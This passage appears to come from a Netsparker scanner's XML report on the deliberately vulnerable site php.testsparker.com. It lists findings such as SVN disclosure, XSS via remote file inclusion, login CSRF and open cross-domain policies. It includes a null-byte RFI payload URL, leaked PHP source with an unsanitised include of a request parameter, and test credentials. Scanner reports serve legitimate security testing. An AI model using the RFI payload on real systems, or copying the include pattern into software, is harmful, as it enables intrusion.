4485 <WASC>33</WASC>
4486 <CWE>98</CWE>
4487 <CAPEC>251</CAPEC>
4488 <PCI>6.5.4</PCI>
4489 <PCI2>6.5.1</PCI2>
4490 </classification>
4491
4492 </vulnerability>
4493 <vulnerability confirmed="False">
4494 <url>http://php.testsparker.com/.svn/all-wcprops</url>
4495 <type>SvnDisclosure</type>
4496 <severity>Important</severity>
4497 <certainty>100</certainty>
4498
4499 <rawrequest><![CDATA[GET /.svn/all-wcprops HTTP/1.1
4500 Cache-Control: no-cache
4501 Referer: http://php.testsparker.com/.svn/all-wcprops
4502 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4503 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4504 X-Scanner: Netsparker
4505 Accept-Language: en-us,en;q=0.5
4506 Host: php.testsparker.com
4507 Accept-Encoding: gzip, deflate
4508
4509 ]]></rawrequest>
4510 <rawresponse><![CDATA[HTTP/1.1 200 OK
4511 Date: Fri, 29 Nov 2013 11:25:37 GMT
4512 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4513 ETag: "131000000013a0b-46e-480329f1c6140"
4514 Accept-Ranges: bytes
4515 Content-Length: 1134
4516 Content-Type: text/plain
4517 Last-Modified: Mon, 22 Feb 2010 16:06:53 GMT
4518
4519 K 25
4520 svn:wc:ra_dav:version-url
4521 V 53
4522 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP
4523 END
4524 nslookup.php
4525 K 25
4526 svn:wc:ra_dav:version-url
4527 V 66
4528 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/nslookup.php
4529 END
4530 page.php
4531 K 25
4532 svn:wc:ra_dav:version-url
4533 V 62
4534 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/page.php
4535 END
4536 process.php
4537 K 25
4538 svn:wc:ra_dav:version-url
4539 V 65
4540 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/process.php
4541 END
4542 style.css
4543 K 25
4544 svn:wc:ra_dav:version-url
4545 V 63
4546 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/style.css
4547 END
4548 hello.php
4549 K 25
4550 svn:wc:ra_dav:version-url
4551 V 63
4552 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/hello.php
4553 END
4554 products.php
4555 K 25
4556 svn:wc:ra_dav:version-url
4557 V 66
4558 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/products.php
4559 END
4560 conf.php
4561 K 25
4562 svn:wc:ra_dav:version-url
4563 V 62
4564 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/conf.php
4565 END
4566 artist.php
4567 K 25
4568 svn:wc:ra_dav:version-url
4569 V 64
4570 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/artist.php
4571 END
4572 index.php
4573 K 25
4574 svn:wc:ra_dav:version-url
4575 V 63
4576 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/index.php
4577 END
4578 ]]></rawresponse>
4579 <extrainformation>
4580 </extrainformation>
4581
4582 <classification>
4583 <OWASP>A6</OWASP>
4584 <WASC>13</WASC>
4585 <CWE>527</CWE>
4586 <CAPEC>118</CAPEC>
4587 <PCI>6.5.6</PCI>
4588 <PCI2></PCI2>
4589 </classification>
4590
4591 </vulnerability>
4592 <vulnerability confirmed="False">
4593 <url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
4594 <type>XssViaRfi</type>
4595 <severity>Important</severity>
4596 <certainty>95</certainty>
4597
4598 <vulnerableparametertype>GET</vulnerableparametertype>
4599 <vulnerableparameter>file</vulnerableparameter>
4600 <vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
4601 <rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
4602 Cache-Control: no-cache
4603 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
4604 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4605 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4606 X-Scanner: Netsparker
4607 Accept-Language: en-us,en;q=0.5
4608 Host: php.testsparker.com
4609 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4610 Accept-Encoding: gzip, deflate
4611
4612 ]]></rawrequest>
4613 <rawresponse><![CDATA[HTTP/1.1 200 OK
4614 Date: Fri, 29 Nov 2013 11:27:03 GMT
4615 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4616 X-Powered-By: PHP/5.2.6
4617 Content-Length: 1615
4618 Content-Type: text/html
4619
4620
4621 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4622 <html xmlns="http://www.w3.org/1999/xhtml">
4623 <head>
4624 <meta name="keywords" content="" />
4625 <meta name="description" content="" />
4626 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4627 <title>Netsparker Test Web Site - PHP</title>
4628 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4629 </head><body>
4630 <div id="wrapper">
4631
4632 <div id="menu">
4633 <ul>
4634 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
4635 <li><a href="hello.php?name=Visitor">Hello</a></li>
4636 <li><a href="products.php?pro=url">Products</a></li>
4637 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
4638 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
4639 <li><a href="auth/">Login</a></li>
4640 </ul>
4641 </div>
4642 <!-- end #menu -->
4643 <div id="header">
4644
4645 </div>
4646 <!-- end #header --> NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
4647 <%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
4648 <script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
4649 <!-- FIXME: File / directory permissions -->
4650 <!-- end #page -->
4651 </div>
4652
4653 <div id="footer">
4654 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4655 </div> <!-- end #footer -->
4656 </body>
4657 </html>
4658 ]]></rawresponse>
4659 <extrainformation>
4660 </extrainformation>
4661
4662 <classification>
4663 <OWASP>A2</OWASP>
4664 <WASC>08</WASC>
4665 <CWE>79</CWE>
4666 <CAPEC>19</CAPEC>
4667 <PCI>6.5.1</PCI>
4668 <PCI2>6.5.7</PCI2>
4669 </classification>
4670
4671 </vulnerability>
4672 <vulnerability confirmed="False">
4673 <url>http://php.testsparker.com/auth/login.php</url>
4674 <type>CsrfInLoginFormDetected</type>
4675 <severity>Important</severity>
4676 <certainty>90</certainty>
4677
4678 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
4679 Cache-Control: no-cache
4680 Referer: http://php.testsparker.com/auth/
4681 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4682 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4683 X-Scanner: Netsparker
4684 Accept-Language: en-us,en;q=0.5
4685 Host: php.testsparker.com
4686 Accept-Encoding: gzip, deflate
4687
4688 ]]></rawrequest>
4689 <rawresponse><![CDATA[HTTP/1.1 200 OK
4690 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
4691 Date: Fri, 29 Nov 2013 11:26:26 GMT
4692 Pragma: no-cache
4693 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4694 X-Powered-By: PHP/5.2.6
4695 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
4696 Content-Length: 3108
4697 Content-Type: text/html
4698 Expires: Thu, 19 Nov 1981 08:52:00 GMT
4699
4700
4701 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4702 <html xmlns="http://www.w3.org/1999/xhtml">
4703 <head>
4704 <meta name="keywords" content="" />
4705 <meta name="description" content="" />
4706 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4707 <title>Netsparker Test Web Site - PHP</title>
4708 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4709 </head><body>
4710 <div id="wrapper">
4711
4712 <div id="menu">
4713 <ul>
4714 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
4715 <li><a href="../hello.php?name=Visitor">Hello</a></li>
4716 <li><a href="../products.php?pro=url">Products</a></li>
4717 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
4718 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
4719 <li><a href="">Login</a></li>
4720 </ul>
4721 </div>
4722 <!-- end #menu -->
4723 <div id="header">
4724
4725 </div>
4726 <!-- end #header --> <div id="page">
4727 <div id="page-bgtop">
4728 <div id="page-bgbtm">
4729 <div id="content">
4730 <div class="post">
4731 <h1 class="title"><a href="#">Login Area</a></h1>
4732 <p>
4733 Enter your credentials (admin / admin123456)
4734 <br/>
4735 <form method="POST" action="control.php">
4736 Username: <input type="text" name="username"/>
4737 <br/>
4738 Password:&nbsp;&nbsp;<input type="password" name="password"/>
4739 <!-- Test credentials -->
4740 <!-- Password: admin123456 -->
4741 <br/>
4742 <br/>
4743 <input type="submit" value="SUBMIT">
4744 </form>
4745 </p>
4746
4747 <div style="clear: both;">&nbsp;</div>
4748 <div class="entry">
4749
4750
4751 </div>
4752 </div>
4753 <div style="clear: both;">&nbsp;</div>
4754 </div>
4755 <!-- end #content -->
4756
4757 <div id="sidebar">
4758 <ul>
4759 <li>
4760 <div id="search" >
4761 <form method="get" action="../artist.php">
4762 <div>
4763 <input type="text" name="s" id="search-text" value="" />
4764 <input type="submit" id="search-submit" value="GO" />
4765 </div>
4766 </form>
4767
4768 </div>
4769 <div style="clear: both;">&nbsp;</div>
4770 </li>
4771 <li>
4772 <h2>Tags</h2>
4773 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
4774 </li>
4775 <li>
4776 <h2>Inner Pages</h2>
4777 <ul>
4778 <li><a href="../artist.php?id=test">Artist Search</a></li>
4779 <li><a href="../nslookup.php">Lookup Service</a></li>
4780 </ul>
4781 </li>
4782 <li>
4783 <h2>Links</h2>
4784 <ul>
4785 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
4786 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
4787 </ul>
4788 </li>
4789 <li>
4790
4791 </ul>
4792 </div> <!-- end #sidebar -->
4793 <div style="clear: both;">&nbsp;</div>
4794 </div>
4795 </div>
4796 </div>
4797 <!-- end #page -->
4798 </div>
4799 v
4800 <div id="footer">
4801 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4802 </div> <!-- end #footer -->
4803 </body>
4804 </html>
4805 ]]></rawresponse>
4806 <extrainformation>
4807 </extrainformation>
4808
4809 <classification>
4810 <OWASP>A5</OWASP>
4811 <WASC>09</WASC>
4812 <CWE>352</CWE>
4813 <CAPEC>62</CAPEC>
4814 <PCI>6.5.5</PCI>
4815 <PCI2>6.5.9</PCI2>
4816 </classification>
4817
4818 </vulnerability>
4819 <vulnerability confirmed="True">
4820 <url>http://php.testsparker.com/crossdomain.xml</url>
4821 <type>OpenCrossDomainXml</type>
4822 <severity>Medium</severity>
4823 <certainty>100</certainty>
4824
4825 <rawrequest><![CDATA[GET /crossdomain.xml HTTP/1.1
4826 Cache-Control: no-cache
4827 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4828 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4829 X-Scanner: Netsparker
4830 Accept-Language: en-us,en;q=0.5
4831 Host: php.testsparker.com
4832 Accept-Encoding: gzip, deflate
4833
4834 ]]></rawrequest>
4835 <rawresponse><![CDATA[HTTP/1.1 200 OK
4836 Date: Fri, 29 Nov 2013 11:25:38 GMT
4837 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4838 ETag: "30000000199e4-13b-498cc50ab1d37"
4839 Accept-Ranges: bytes
4840 X-Pad: avoid browser bug
4841 Content-Length: 315
4842 Content-Type: application/xml
4843 Last-Modified: Sat, 01 Jan 2011 17:33:20 GMT
4844
4845 <?xml version="1.0" encoding="UTF-8"?>
4846 <cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
4847 <allow-access-from domain="*" />
4848 <site-control permitted-cross-domain-policies="master-only"/>
4849 </cross-domain-policy>]]></rawresponse>
4850 <extrainformation>
4851 <info name="Policy Rules"><![CDATA[<allow-access-from domain="*" />]]></info>
4852 </extrainformation>
4853
4854 <classification>
4855 <OWASP>A6</OWASP>
4856 <WASC>15</WASC>
4857 <CWE>16</CWE>
4858 <CAPEC></CAPEC>
4859 <PCI></PCI>
4860 <PCI2></PCI2>
4861 </classification>
4862
4863 </vulnerability>
4864 <vulnerability confirmed="True">
4865 <url>http://php.testsparker.com/clientaccesspolicy.xml</url>
4866 <type>OpenClientAccessPolicy</type>
4867 <severity>Medium</severity>
4868 <certainty>100</certainty>
4869
4870 <rawrequest><![CDATA[GET /clientaccesspolicy.xml HTTP/1.1
4871 Cache-Control: no-cache
4872 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4873 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4874 X-Scanner: Netsparker
4875 Accept-Language: en-us,en;q=0.5
4876 Host: php.testsparker.com
4877 Accept-Encoding: gzip, deflate
4878
4879 ]]></rawrequest>
4880 <rawresponse><![CDATA[HTTP/1.1 200 OK
4881 Date: Fri, 29 Nov 2013 11:25:41 GMT
4882 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4883 ETag: "30000000199e2-118-498e0196a2efd"
4884 Accept-Ranges: bytes
4885 X-Pad: avoid browser bug
4886 Content-Length: 280
4887 Content-Type: application/xml
4888 Last-Modified: Sun, 02 Jan 2011 17:09:33 GMT
4889
4890 <?xml version="1.0" encoding="utf-8"?>
4891 <access-policy>
4892 <cross-domain-access>
4893 <allow-from http-request-headers="*">
4894 <domain uri="*"/>
4895 </allow-from>
4896 <grant-to>
4897 <resource path="/" include-subpaths="true"/>
4898 </grant-to>
4899 </cross-domain-access>
4900 </access-policy>]]></rawresponse>
4901 <extrainformation>
4902 <info name="Policy Rules"><![CDATA[*]]></info>
4903 </extrainformation>
4904
4905 <classification>
4906 <OWASP>A6</OWASP>
4907 <WASC>15</WASC>
4908 <CWE>16</CWE>
4909 <CAPEC></CAPEC>
4910 <PCI></PCI>
4911 <PCI2></PCI2>
4912 </classification>
4913
4914 </vulnerability>
4915 <vulnerability confirmed="False">
4916 <url>http://php.testsparker.com/process.bak?nsextt=NSFTW</url>
4917 <type>PhpSourceCodeDisclosure</type>
4918 <severity>Medium</severity>
4919 <certainty>75</certainty>
4920
4921 <rawrequest><![CDATA[GET /process.bak?nsextt=NSFTW HTTP/1.1
4922 Cache-Control: no-cache
4923 Referer: http://php.testsparker.com/process.bak
4924 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4925 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4926 X-Scanner: Netsparker
4927 Accept-Language: en-us,en;q=0.5
4928 Host: php.testsparker.com
4929 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4930 Accept-Encoding: gzip, deflate
4931
4932 ]]></rawrequest>
4933 <rawresponse><![CDATA[HTTP/1.1 200 OK
4934 Date: Fri, 29 Nov 2013 11:28:31 GMT
4935 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4936 ETag: "30000000199eb-363-481496ef4391c"
4937 Accept-Ranges: bytes
4938 Content-Length: 867
4939 Content-Type: text/plain
4940 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
4941
4942 <?php
4943 require("auth.php");
4944 ini_set("display_errors","0");
4945
4946 //global configuration area
4947 $globals["title"] = "Netsparker Test Web Site - PHP";
4948 function EndsWith($FullStr, $EndStr)
4949 {
4950 // Get the length of the end string
4951 $StrLen = strlen($EndStr);
4952 // Look at the end of FullStr for the substring the size of EndStr
4953 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
4954 // If it matches, it does end with EndStr
4955 return $FullStrEnd == $EndStr;
4956 }
4957 ?>
4958
4959 <?php include "Internals/header.php"?>
4960 <body>
4961 <div id="wrapper">
4962 <?php include "Internals/upmenu.php"?>
4963 <?php
4964 $file = $_REQUEST["file"];
4965 if(EndsWith($file,".nsp"))
4966 include $_REQUEST["file"];
4967 ?>
4968 <!-- end #page -->
4969 </div>
4970
4971 <?php include "Internals/footer.php"?>
4972 <!-- end #footer -->
4973 </body>
4974 </html>
4975 ]]></rawresponse>
4976 <extrainformation>
4977 </extrainformation>
4978
4979 <classification>
4980 <OWASP>A6</OWASP>
4981 <WASC>13</WASC>
4982 <CWE>540</CWE>
4983 <CAPEC>118</CAPEC>
4984 <PCI>6.5.6</PCI>
4985 <PCI2></PCI2>
4986 </classification>
4987
4988 </vulnerability>
4989 <vulnerability confirmed="True">
4990 <url>http://php.testsparker.com/auth/login.php</url>
4991 <type>AutoCompleteEnabled</type>
4992 <severity>Low</severity>
4993 <certainty>100</certainty>
4994
4995 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
4996 Cache-Control: no-cache
4997 Referer: http://php.testsparker.com/auth/
4998 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4999 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5000 X-Scanner: Netsparker
5001 Accept-Language: en-us,en;q=0.5
5002 Host: php.testsparker.com
5003 Accept-Encoding: gzip, deflate
5004
5005 ]]></rawrequest>
5006 <rawresponse><![CDATA[HTTP/1.1 200 OK
5007 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5008 Date: Fri, 29 Nov 2013 11:26:26 GMT
5009 Pragma: no-cache
5010 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5011 X-Powered-By: PHP/5.2.6
5012 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
5013 Content-Length: 3108
5014 Content-Type: text/html
5015 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5016
5017
5018 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5019 <html xmlns="http://www.w3.org/1999/xhtml">
5020 <head>
5021 <meta name="keywords" content="" />
5022 <meta name="description" content="" />
5023 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5024 <title>Netsparker Test Web Site - PHP</title>
5025 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5026 </head><body>
5027 <div id="wrapper">
5028
5029 <div id="menu">
5030 <ul>
5031 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
5032 <li><a href="../hello.php?name=Visitor">Hello</a></li>
5033 <li><a href="../products.php?pro=url">Products</a></li>
5034 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
5035 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
5036 <li><a href="">Login</a></li>
5037 </ul>
5038 </div>
5039 <!-- end #menu -->
5040 <div id="header">
5041
5042 </div>
5043 <!-- end #header --> <div id="page">
5044 <div id="page-bgtop">
5045 <div id="page-bgbtm">
5046 <div id="content">
5047 <div class="post">
5048 <h1 class="title"><a href="#">Login Area</a></h1>
5049 <p>
5050 Enter your credentials (admin / admin123456)
5051 <br/>
5052 <form method="POST" action="control.php">
5053 Username: <input type="text" name="username"/>
5054 <br/>
5055 Password:&nbsp;&nbsp;<input type="password" name="password"/>
5056 <!-- Test credentials -->
5057 <!-- Password: admin123456 -->
5058 <br/>
5059 <br/>
5060 <input type="submit" value="SUBMIT">
5061 </form>
5062 </p>
5063
5064 <div style="clear: both;">&nbsp;</div>
5065 <div class="entry">
5066
5067
5068 </div>
5069 </div>
5070 <div style="clear: both;">&nbsp;</div>
5071 </div>
5072 <!-- end #content -->
5073
5074 <div id="sidebar">
5075 <ul>
5076 <li>
5077 <div id="search" >
5078 <form method="get" action="../artist.php">
5079 <div>
5080 <input type="text" name="s" id="search-text" value="" />
5081 <input type="submit" id="search-submit" value="GO" />
5082 </div>
5083 </form>
5084
5085 </div>
5086 <div style="clear: both;">&nbsp;</div>
5087 </li>
5088 <li>
5089 <h2>Tags</h2>
5090 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5091 </li>
5092 <li>
5093 <h2>Inner Pages</h2>
5094 <ul>
5095 <li><a href="../artist.php?id=test">Artist Search</a></li>
5096 <li><a href="../nslookup.php">Lookup Service</a></li>
5097 </ul>
5098 </li>
5099 <li>
5100 <h2>Links</h2>
5101 <ul>
5102 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5103 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5104 </ul>
5105 </li>
5106 <li>
5107
5108 </ul>
5109 </div> <!-- end #sidebar -->
5110 <div style="clear: both;">&nbsp;</div>
5111 </div>
5112 </div>
5113 </div>
5114 <!-- end #page -->
5115 </div>
5116 v
5117 <div id="footer">
5118 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5119 </div> <!-- end #footer -->
5120 </body>
5121 </html>
5122 ]]></rawresponse>
5123 <extrainformation>
5124 <info name="Identified Field Name"><![CDATA[password]]></info>
5125 </extrainformation>
5126
5127 <classification>
5128 <OWASP>A6</OWASP>
5129 <WASC>15</WASC>
5130 <CWE>16</CWE>
5131 <CAPEC></CAPEC>
5132 <PCI></PCI>
5133 <PCI2></PCI2>
5134 </classification>
5135
5136 </vulnerability>
5137 <vulnerability confirmed="True">
5138 <url>http://php.testsparker.com/auth/login.php</url>
5139 <type>CookieNotMarkedAsHttpOnly</type>
5140 <severity>Low</severity>
5141 <certainty>100</certainty>
5142
5143 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
5144 Cache-Control: no-cache
5145 Referer: http://php.testsparker.com/auth/
5146 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5147 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5148 X-Scanner: Netsparker
5149 Accept-Language: en-us,en;q=0.5
5150 Host: php.testsparker.com
5151 Accept-Encoding: gzip, deflate
5152
5153 ]]></rawrequest>
5154 <rawresponse><![CDATA[HTTP/1.1 200 OK
5155 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5156 Date: Fri, 29 Nov 2013 11:26:26 GMT
5157 Pragma: no-cache
5158 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5159 X-Powered-By: PHP/5.2.6
5160 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
5161 Content-Length: 3108
5162 Content-Type: text/html
5163 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5164
5165
5166 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5167 <html xmlns="http://www.w3.org/1999/xhtml">
5168 <head>
5169 <meta name="keywords" content="" />
5170 <meta name="description" content="" />
5171 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5172 <title>Netsparker Test Web Site - PHP</title>
5173 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5174 </head><body>
5175 <div id="wrapper">
5176
5177 <div id="menu">
5178 <ul>
5179 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
5180 <li><a href="../hello.php?name=Visitor">Hello</a></li>
5181 <li><a href="../products.php?pro=url">Products</a></li>
5182 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
5183 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
5184 <li><a href="">Login</a></li>
5185 </ul>
5186 </div>
5187 <!-- end #menu -->
5188 <div id="header">
5189
5190 </div>
5191 <!-- end #header --> <div id="page">
5192 <div id="page-bgtop">
5193 <div id="page-bgbtm">
5194 <div id="content">
5195 <div class="post">
5196 <h1 class="title"><a href="#">Login Area</a></h1>
5197 <p>
5198 Enter your credentials (admin / admin123456)
5199 <br/>
5200 <form method="POST" action="control.php">
5201 Username: <input type="text" name="username"/>
5202 <br/>
5203 Password:&nbsp;&nbsp;<input type="password" name="password"/>
5204 <!-- Test credentials -->
5205 <!-- Password: admin123456 -->
5206 <br/>
5207 <br/>
5208 <input type="submit" value="SUBMIT">
5209 </form>
5210 </p>
5211
5212 <div style="clear: both;">&nbsp;</div>
5213 <div class="entry">
5214
5215
5216 </div>
5217 </div>
5218 <div style="clear: both;">&nbsp;</div>
5219 </div>
5220 <!-- end #content -->
5221
5222 <div id="sidebar">
5223 <ul>
5224 <li>
5225 <div id="search" >
5226 <form method="get" action="../artist.php">
5227 <div>
5228 <input type="text" name="s" id="search-text" value="" />
5229 <input type="submit" id="search-submit" value="GO" />
5230 </div>
5231 </form>
5232
5233 </div>
5234 <div style="clear: both;">&nbsp;</div>
5235 </li>
5236 <li>
5237 <h2>Tags</h2>
5238 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5239 </li>
5240 <li>
5241 <h2>Inner Pages</h2>
5242 <ul>
5243 <li><a href="../artist.php?id=test">Artist Search</a></li>
5244 <li><a href="../nslookup.php">Lookup Service</a></li>
5245 </ul>
5246 </li>
5247 <li>
5248 <h2>Links</h2>
5249 <ul>
5250 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5251 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5252 </ul>
5253 </li>
5254 <li>
5255
5256 </ul>
5257 </div> <!-- end #sidebar -->
5258 <div style="clear: both;">&nbsp;</div>
5259 </div>
5260 </div>
5261 </div>
5262 <!-- end #page -->
5263 </div>
5264 v
5265 <div id="footer">
5266 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5267 </div> <!-- end #footer -->
5268 </body>
5269 </html>
5270 ]]></rawresponse>
5271 <extrainformation>
5272 <info name="Identified Cookie"><![CDATA[PHPSESSID]]></info>
5273 </extrainformation>
5274
5275 <classification>
5276 <OWASP>A6</OWASP>
5277 <WASC>15</WASC>
5278 <CWE>16</CWE>
5279 <CAPEC>107</CAPEC>
5280 <PCI></PCI>
5281 <PCI2></PCI2>
5282 </classification>
5283
5284 </vulnerability>
5285 <vulnerability confirmed="False">
5286 <url>http://php.testsparker.com/</url>
5287 <type>ApacheVersionDisclosure</type>
5288 <severity>Low</severity>
5289 <certainty>90</certainty>
5290
5291 <rawrequest><![CDATA[GET / HTTP/1.1
5292 Cache-Control: no-cache
5293 Connection: Keep-Alive
5294 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5295 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5296 X-Scanner: Netsparker
5297 Accept-Language: en-us,en;q=0.5
5298 Host: php.testsparker.com
5299 Accept-Encoding: gzip, deflate
5300
5301 ]]></rawrequest>
5302 <rawresponse><![CDATA[HTTP/1.1 200 OK
5303 Connection: Keep-Alive
5304 Date: Fri, 29 Nov 2013 11:25:33 GMT
5305 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5306 X-Powered-By: PHP/5.2.6
5307 Keep-Alive: timeout=5, max=100
5308 Content-Length: 144
5309 Content-Type: text/html
5310
5311 <html>
5312 <HEAD>
5313 <SCRIPT language="JavaScript">
5314 <!--
5315 window.location="process.php?file=Generics/index.nsp";
5316 //-->
5317 </SCRIPT>
5318 </HEAD>
5319 </html>]]></rawresponse>
5320 <extrainformation>
5321 <info name="Extracted Version"><![CDATA[2.2.8]]></info>
5322 </extrainformation>
5323
5324 <classification>
5325 <OWASP>A6</OWASP>
5326 <WASC>45</WASC>
5327 <CWE>205</CWE>
5328 <CAPEC>170</CAPEC>
5329 <PCI></PCI>
5330 <PCI2></PCI2>
5331 </classification>
5332
5333 </vulnerability>
5334 <vulnerability confirmed="False">
5335 <url>http://php.testsparker.com/</url>
5336 <type>PhpVersionDisclosure</type>
5337 <severity>Low</severity>
5338 <certainty>90</certainty>
5339
5340 <rawrequest><![CDATA[GET / HTTP/1.1
5341 Cache-Control: no-cache
5342 Connection: Keep-Alive
